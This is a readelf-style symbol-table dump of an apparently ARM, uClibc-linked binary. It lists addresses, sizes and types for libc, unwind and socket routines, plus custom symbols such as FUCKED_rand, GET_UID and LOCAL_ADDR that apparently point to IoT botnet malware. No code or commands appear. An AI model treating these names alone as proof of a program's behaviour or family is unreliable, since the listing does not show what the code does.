$a	.symtab	0x194e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1953c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19544	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19570	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x195f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x196d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19794	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x197e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19840	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19c2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19ca8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19cd4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19ce8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19cf0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19d54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19df4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19e20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19e34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19e48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19e5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19e84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19ebc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19ed0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19fb0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19ff4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a034	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a074	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a0e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a0f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a12c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a218	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a5bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a610	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a634	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a6f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a7cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a90c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a9e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1aa5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1aa88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1abe4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b3d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b51c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b650	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bae0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1baf0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bbe0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bc04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bce4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bdd4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bec0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bf04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bf50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bfc8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c008	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c100	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c178	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c1e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c434	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c440	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c478	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c4d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c528	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c534	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c67c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c6a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c860	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c8b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c980	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c9b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ca54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ca90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1cb40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1cb80	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1cbf0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d00c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d4a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d5e8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8128	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27868	0	NOTYPE	<unknown>	DEFAULT	10
$d	.symtab	0x8180	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27864	0	NOTYPE	<unknown>	DEFAULT	9
$d	.symtab	0x81c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8320	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x847c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8b68	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x9234	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x9850	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x9c4c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xa63c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xac54	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xb34c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xba90	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xc244	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1d714	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x1d738	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0xc640	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xce1c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd254	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd8b0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd90c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xda64	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xdca8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xdea4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2791c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0xdef0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe118	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe254	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe3a4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe50c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe57c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27920	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1e118	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0xe608	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf0e0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x279e8	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x279ec	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x279f0	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1e524	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x1e550	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0xf1b4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf1f4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf2e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf34c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf480	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf564	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf60c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x279f4	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x279f8	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0xfb68	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xfc04	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xfca4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xfd78	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x279fc	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x10064	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1035c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x103b8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x103d8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10518	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10a38	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10af4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10b4c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10c8c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10e98	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10fc8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x20	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x26	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x2c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x4c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x53	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x11680	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12028	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x58	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x23c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0xe39	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x1295c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12a10	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12afc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12b48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12bac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12bf0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12c44	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12c7c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12cf4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12d50	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12d98	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12dd8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12e10	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12e54	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12ed4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12f18	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12fa4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13008	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13048	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x130b8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13130	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x133a4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13488	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13548	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x135fc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e680	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x136d8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1371c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13a40	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13ac8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13c30	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14064	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14108	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14260	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27a04	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x27a00	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x14b98	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e6f0	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x14e4c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14e98	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x153e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27ae8	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1e6f8	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x157c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15b74	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15d1c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15f38	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x161a0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e77c	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x161d8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1627c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x162e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16358	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1639c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x163e0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16454	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16498	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x164e0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16524	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16564	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x165d4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16620	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x166a4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x166e8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16758	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x167a4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1682c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16874	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x168b8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1724c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27aec	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x17394	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17750	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17bf4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17c48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17d64	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27b04	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x17e18	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17ed0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17f90	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18034	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27b1c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x27bb4	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x180dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x181ac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x182a0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18390	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1f2e8	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x185a0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18654	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27bc8	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1879c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18db8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19188	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x192dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1931c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19330	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x193c0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19450	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x194e0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x196cc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19780	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x197e0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19834	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19be0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27be0	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x19ca0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19cd0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19d50	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19df0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19e7c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19eb8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19fa0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19ff0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a030	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a070	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a0d8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a128	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a204	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a5b4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a6ec	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a7c8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a9e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b3b8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1f690	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x1b640	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1bbd8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1bcdc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1bdcc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1beb8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c0f8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c160	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c1d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c40c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c46c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c51c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c674	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c85c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c97c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ca50	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1cb38	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1cbec	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27bec	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1f378	0	NOTYPE	<unknown>	DEFAULT	4
C.11.5548	.symtab	0x1f354	12	OBJECT	<unknown>	DEFAULT	4
C.4.4620	.symtab	0x1e118	120	OBJECT	<unknown>	DEFAULT	4
C.48.5102	.symtab	0x1d738	44	OBJECT	<unknown>	DEFAULT	4
C.49.5103	.symtab	0x1d714	36	OBJECT	<unknown>	DEFAULT	4
C.5.5083	.symtab	0x1e680	24	OBJECT	<unknown>	DEFAULT	4
C.7.5370	.symtab	0x1f360	12	OBJECT	<unknown>	DEFAULT	4
C.7.6078	.symtab	0x1e698	12	OBJECT	<unknown>	DEFAULT	4
C.7.6109	.symtab	0x1e6c8	12	OBJECT	<unknown>	DEFAULT	4
C.7.6182	.symtab	0x1e6a4	12	OBJECT	<unknown>	DEFAULT	4
C.8.6110	.symtab	0x1e6bc	12	OBJECT	<unknown>	DEFAULT	4
C.9.5802	.symtab	0x1e550	64	OBJECT	<unknown>	DEFAULT	4
C.9.6119	.symtab	0x1e6b0	12	OBJECT	<unknown>	DEFAULT	4
FUCKED_rand	.symtab	0xf1f8	252	FUNC	<unknown>	DEFAULT	2
GET_UID	.symtab	0x2e76c	1	OBJECT	<unknown>	DEFAULT	14
LOCAL_ADDR	.symtab	0x2e768	4	OBJECT	<unknown>	DEFAULT	14
Laligned	.symtab	0x15e18	0	NOTYPE	<unknown>	DEFAULT	2
Llastword	.symtab	0x15e34	0	NOTYPE	<unknown>	DEFAULT	2
Q	.symtab	0x27c64	16384	OBJECT	<unknown>	DEFAULT	14
_Exit	.symtab	0x12b4c	104	FUNC	<unknown>	DEFAULT	2
_GLOBAL_OFFSET_TABLE_	.symtab	0x27870	0	OBJECT	<unknown>	HIDDEN	12
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_Unwind_Complete	.symtab	0x11434	4	FUNC	<unknown>	HIDDEN	2
_Unwind_DeleteException	.symtab	0x11438	44	FUNC	<unknown>	HIDDEN	2
_Unwind_ForcedUnwind	.symtab	0x120e8	36	FUNC	<unknown>	HIDDEN	2
_Unwind_GetCFA	.symtab	0x1142c	8	FUNC	<unknown>	HIDDEN	2
_Unwind_GetDataRelBase	.symtab	0x11470	12	FUNC	<unknown>	HIDDEN	2
_Unwind_GetLanguageSpecificData	.symtab	0x1210c	68	FUNC	<unknown>	HIDDEN	2
_Unwind_GetRegionStart	.symtab	0x128ac	52	FUNC	<unknown>	HIDDEN	2
_Unwind_GetTextRelBase	.symtab	0x11464	12	FUNC	<unknown>	HIDDEN	2
_Unwind_RaiseException	.symtab	0x1207c	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume	.symtab	0x120a0	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume_or_Rethrow	.symtab	0x120c4	36	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Get	.symtab	0x11394	76	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Pop	.symtab	0x119ac	324	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Set	.symtab	0x113e0	76	FUNC	<unknown>	HIDDEN	2
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b	.symtab	0x27bec	4	OBJECT	<unknown>	DEFAULT	13
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x1f378	768	OBJECT	<unknown>	DEFAULT	4
__EH_FRAME_BEGIN__	.symtab	0x27860	0	OBJECT	<unknown>	DEFAULT	7
__FRAME_END__	.symtab	0x27860	0	OBJECT	<unknown>	DEFAULT	7
__GI___C_ctype_b	.symtab	0x27bec	4	OBJECT	<unknown>	HIDDEN	13
__GI___close	.symtab	0x19350	100	FUNC	<unknown>	HIDDEN	2
__GI___close_nocancel	.symtab	0x19334	24	FUNC	<unknown>	HIDDEN	2
__GI___ctype_b	.symtab	0x27bf0	4	OBJECT	<unknown>	HIDDEN	13
__GI___errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__GI___fcntl_nocancel	.symtab	0x12980	152	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x1b51c	300	FUNC	<unknown>	HIDDEN	2
__GI___glibc_strerror_r	.symtab	0x1608c	24	FUNC	<unknown>	HIDDEN	2
__GI___libc_close	.symtab	0x19350	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x12a18	244	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x193e0	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_read	.symtab	0x19500	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_write	.symtab	0x19470	100	FUNC	<unknown>	HIDDEN	2
__GI___longjmp	.symtab	0x19cd4	20	FUNC	<unknown>	HIDDEN	2
__GI___open	.symtab	0x193e0	100	FUNC	<unknown>	HIDDEN	2
__GI___open_nocancel	.symtab	0x193c4	24	FUNC	<unknown>	HIDDEN	2
__GI___pthread_cleanup_upto	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__GI___pthread_unwind	.symtab	0x10b04	84	FUNC	<unknown>	HIDDEN	2
__GI___pthread_unwind_next	.symtab	0x10b58	16	FUNC	<unknown>	HIDDEN	2
__GI___read	.symtab	0x19500	100	FUNC	<unknown>	HIDDEN	2
__GI___read_nocancel	.symtab	0x194e4	24	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x19718	124	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x197e8	88	FUNC	<unknown>	HIDDEN	2
__GI___write	.symtab	0x19470	100	FUNC	<unknown>	HIDDEN	2
__GI___write_nocancel	.symtab	0x19454	24	FUNC	<unknown>	HIDDEN	2
__GI___xpg_strerror_r	.symtab	0x160a4	268	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x12b4c	104	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x17c50	296	FUNC	<unknown>	HIDDEN	2
__GI_accept	.symtab	0x162ec	116	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x1839c	32	FUNC	<unknown>	HIDDEN	2
__GI_bind	.symtab	0x16360	68	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x1c4d0	88	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x19350	100	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x132b0	272	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x1a540	52	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x1a574	72	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x1a218	808	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x163e8	116	FUNC	<unknown>	HIDDEN	2
